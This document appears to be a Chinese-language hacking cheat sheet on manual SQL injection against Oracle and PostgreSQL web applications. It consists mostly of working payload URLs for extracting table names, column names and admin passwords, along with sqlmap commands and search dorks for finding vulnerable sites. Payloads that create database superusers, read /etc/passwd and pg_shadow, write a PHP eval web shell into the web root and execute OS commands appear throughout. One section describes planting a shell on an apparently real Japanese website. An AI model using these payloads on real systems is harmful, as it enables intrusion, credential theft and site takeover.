db2
适用于比较大的站点jsp+oracle 存在注入
/报错
-0 返回正常and 1=1  and 1=2
' 探测一般asp/aspx/jsp/+oracle
判断数据库

  
判断注入

   and 1=1
   and 1=2判断oracle数据库

   and exists(select * from dual) 

   and exists(select * from user_tables)
    dual 和 user_tables这两张表是 oracle独有的表
    当有注点的时候 但跑不出来表就得换一下注入语句,可能数据库是oracle判断列数

  order by 5   返回正常

  order by 6    返回错误

  判断出来之后用union select null,null,null,null,null
 
获取数据类型不匹配的列

   在每列上逐个用数字代替 如果返回正常说明该列为数字类型,反之则为非数字类型。

   也可以逐个用引号引起来如:'null',null...from dual, 返回正常说明该列为字符类型,反之为非数字类型

获取基本信息

   获取数据库版本

   (select banner from sys.v_$version where rownum=1)


   获取操作系统版本

   ( select member from v$logfile where rownum=1)
    获取连接数据库的当前用户

   ( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual)
   获取数据库

   (select owner from all_tables where rownum=1)
  //把这些写在每一个列上
 
获取数据库版本

    http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取操作系统版本

   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取连接数据库的当前用户

   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),null,null,null,null,null,null,null,null,null from dual

 
获取第一个表

   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1),null,null,null,null,null,null,null,null,null from dual

获取第二个表

  http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'),null,null,null,null,null,null,null,null,null from dual

获取第三个表

   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>'ACCESS$'and table_name<>'ALERT_QT'),null,null,null,null,null,null,null,null,null from dual    

以此类推就可以得到所有的表名

获取第一个列名

   假设我们得到管理员表名为:admin

   获取第一个列名EMPLOYEE_ID
   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

 注入oracle表和其他数据库的的表名不同,可能大写带有前缀
 JSSLEDU_MANGER_system
获取第二个列名
   http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

   得到表名为NAME

获取第三个列名
  http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=-100 union select null,(select column_name from user_tab_columns where table_name='admin' and rownum=1 and column_name<>'EMPLOYEE_ID' and rownum=1 and column_name<>'NAME'),4,5,6 from dual,null,null,null,null,null,null,null,null,null from dual

 得到表名为PASS

获取数据库

 union select 1,2,name,4,5,6 from admin

 union select 1,2,pass,4,5,6 from admin

 
属于布尔盲注的
第二种注入方式
   判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。
判断下该网站下有几个管理员

    如果有多个的话,成功入侵的几率就会加大

   and (select count(*) from admin)=1,返回正常说明只有一个管理员。

  指定表名获取列名

  and (select count(name) from admin)>=0返回正常,说明存在name字段

获取列名

   and (select count(pass) from admin)>=0返回错误,说明不存在pass字段
 
接下来采用ASCII码折半法猜解管理员帐号和密码

   判断管理员名字长度

   and (select count(*) from admin where length(name)>=5)=1
  说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成


and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
  说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
 
and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin
   and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文

??? and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a
 
and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

????? and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8

 完成上述操作可以确定帐号为:admin密码为:admin888

打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码

在合天网安练习
工具使用
sqlmap.py -u "url" --current-db 列数据库
sqlmap.py -u "url" -D xxx --tables  指定数据库列表名
sqlmap.py -u "url" -D xxx --tables --count  方法1.列出表里有多少数据,统计行数找少的
一般管理员表存放的数据在20个以内
sqlmap.py -u "url" -D xxx --tables --serch -C pass  方法2.检索表里列名有pass关键字的表,或者pwd username user admin
检索默认是模糊匹配 针对表太多可以这样来测可以这样测:
   inurl:jsp?id= 旅游Postgresql 手工注入

    Postgresql数据库是加州大学的一个分校开发的
  站点大多为国外和日本的站点goole语法:
   inurl:php?id= site:jp 商品名称  但名称要转换为日语,购物站点环境里一样 / 报错  -0返回正常
 and 1=1  and 1=2报错
  然后加载到hackbar
Postgresql 数据库的网站大多是php的,这就很容易让人误解
postgresql数据库注入常用语法

判断是否为postgresql数据库

+and+1::int=1--

http://mysql.sql.com/sql.php?id=1+and+1::int=1--
判断数据库版本信息

+and+1=cast(version() as int)--
判断当前用户

  and 1=cast(user||123 as int)
判断有多少字段

order by 

union select null,null,null

union select null,user,null   判断当前用户 在第一例输入数字1,返回正常正常是数字类
 在第二列输入2,返回错误可能是字符列,就加''  '2'
   判断数据库版本信息

   union select null,version(),null--
   判断用户权限
   union+select+null,current_schema(),null


   判断当前数据库名称

   union+select+null,current_database(),null
   判断当前表名

   union+select+null,relname,null from pg_stat_user_tables
   读取每个表的列名

   union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'





   列字段内容

   +union+select+null,name||pass,null+from+admin
   查看postgresql数据库的账号密码

   +union+select+null,usename||chr(124)||passwd,null+from+pg_shadow
   创建用户

   ;create+user+seven+with+superuser+password+'seven'--
    修改postgres的用户密码为123456

    ;alter+user+postgres+with+password+'123456'--
 Postgresql 写shell

    直接拿shell
    http://127.0.0.1/sql.php?id=1;create table shell(shell text not null);

    http://127.0.0.1/sql.php?id=1;insert into shell values($$<?php @eval($_POST[cracer]);?>$$); 
    http://127.0.0.1/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';

   另一种直接写进文件的shell
    ;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'  
    拷贝一句话到网站根目录
   读取文件前20行

    pg_read_file('/etc/passwd',1,20) 读取1到20行
创建system函数

用于版本大于8的数据库

创建一个system的函数:

create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

创建一个输出表:

create table stdout(id serial, system_out text)

执行shell,输出到输出表内:

select system('uname -a > /tmp/test')
copy 输出的内容到表里面;

COPY stdout(system_out) FROM '/tmp/test'
从输出表内读取执行后的回显,判断是否执行成功

union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1–-
数据库备份还原

pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sql”

pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql 这个是远程备份数据库备份到本地来
还原数据库

psql -h localhost -U postgres -d mdb 实例日本站点:
  判断注入

   ‘      报错

  and 1=1 返回正常

  and 1=2 返回错误
  获取信息

  and 1=cast(version() as int)  获取数据库版本信息系统信息

  and 1=cast(user||123 as int)  获取当前用户名称  postgres用户相当于root用户权限  创建表



  ;create table ccc(w text not null);  创建表x  插入一句话木木

  ;insert into ccc values($$<?php @eval($_POST[cracer]);?>$$);  向x表中插入一句话木马
  导出一句话

  ;copy ccc(w) to $$/home/kasugai_tochi/public_html/script/cracer.php$$;  将一句话木马保存为cracer.php文件
   菜刀连接

   http://www.kasugai-tochi.jp/script/cracer.php
工具使用:
sqmap.py -u "http://127.0.0.1/sql.php?id=1" 
 观察脚本的作用
 也可以多个tamper一起使用
 例如:
   sqlmap -tamper=a.py,b.py  --random-agent随机生成调用原访问地址,调用各种各样的浏览器标识信息
 

    渗透路慢慢,那个人叫方寒